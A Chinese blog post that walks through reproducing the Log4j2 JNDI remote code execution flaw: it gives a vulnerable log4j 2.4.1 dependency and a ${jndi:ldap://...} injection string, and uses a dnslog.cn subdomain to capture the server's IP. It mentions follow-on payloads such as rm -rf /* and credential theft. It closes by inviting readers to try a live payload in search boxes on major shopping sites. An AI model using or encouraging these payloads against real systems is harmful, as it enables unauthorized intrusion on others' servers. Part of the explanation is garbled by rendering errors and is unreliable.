大家好,我叫大圣。
这几天Apache Log4j2 远程代码执行漏洞一出,让广大的程序员和运维人员夜不能寐,由于我们公司的Flink业务代码也用到了Log4j2日志,我也抓紧去了解了一下,然后采取了相应的补救措施。但是一直想对这个Log4j2 远程执行漏洞进行复现一下,是不是真的像网上说的那样严重,然后经过学习复现了这个log4j的bug。
本篇文章主要讲怎么复现这个log4j的远程执行bug,关于怎么基于这个log4j的漏洞去采取补救措施,网上说了很多了,这里就不再说了,下面我们直接步入正题。
首先咱们建立一个maven项目,然后在pom文件里面导入下面的依赖:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.4.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.4.1</version>
</dependency>
接着再创建一个类对象,比如TestLog4j,然后加载日志类,如下:
public static final Logger LOGGER = LogManager.getLogger();
最后在TestLog4j这个类里面的main方法里面打印下面的语句:
LOGGER.error( "${jndi:ldap://xxx}");
下面重点说打印的这个语句是什么意思:
LOGGER.error就是打印error的信息
${jndi:ldap://xxx} 这个的分为两个部分,一个部分是jndi:ldap:// 这个是固定的,xxx的内容是要你动态替换的,下面说怎么去动态替换。
你首先把 http://dnslog.cn/ 这个网址复制到浏览器上给打开,如下图:
接着,你在上面打开的界面里面,点击图中的按钮,在你点击的按钮下面就会得到一个网址(这里叫子域名)如下:
注:每个人点击上面的Get SubDomain按钮得到的子域名可能是不一样的,这个无关紧要。
再接着把你得到的子域名复制下来,然后到你刚才新建类的代码里面,我这边是TestLog4j,把这段代码里面的LOGGER.error( “${jndi:ldap://xxx}”); xxx 换成你在上面的Get SubDomain按钮得到的子域名,我这边得到的子域名是zrfnlf.dnslog.cn 如下图:
然后,你run你写的这个main()方法,就会得到如下截图:
接着,回到你刚才点击有Get SubDomain按钮的网页上,也就是你刚才打开的 http://dnslog.cn/这个界面,如下图:
最后点击你上面打开的那个上的Refresh Record按钮,就会得到你下面的截图:会拿到你的ip
最后说一下这个利用 Log4j2 远程代码攻击的原理,就比如我们在淘宝里面输入KaTeX parse error: Expected 'EOF', got '进' at position 18: …ndi:ldap://xxx}进̲行搜索,然后{jndi:ldap://xxx}就会被当成一个字符串,当我们利用LOGGER.error()打印日志的时候,就会把你传进来的KaTeX parse error: Expected 'EOF', got '字' at position 18: …ndi:ldap://xxx}字̲符串打印,这不是就相当于我们刚…{jndi:ldap://zrfnlf.dnslog.cn}");方法了吗?然后我们上面测试的通过打印这个就可以在http://dnslog.cn/拿到我们的服务器的ip
。
注:上面的${jndi:ldap://xxx} 这个字符串里面的xxx,可以看成是我们在http://dnslog.cn/这个网址得到的子域名
。
在这里我们想一下,如果我们在淘宝或者京东购买商品时搜索时输入的是这个
${jndi:ldap://zrfnlf.dnslog.cn},如果不仅仅是得到服务器的ip这么简单,而是直接执行一个我们自己编写的脚本,脚本里面有 rm -rf /* 或者去拿到数据库的账号,密码这样的操作,那你真的有可能成为亿万富翁,然后下半辈子在监狱里度过哦!
另外大家可以去各大网站上搜索或者买商品的时候输入:
${jndi:ldap://qy2b82.dnslog.cn} 这个试一下什么效果哦,友情提示:你可能会被封。
共同学习,写下你的评论
评论加载中...
作者其他优质文章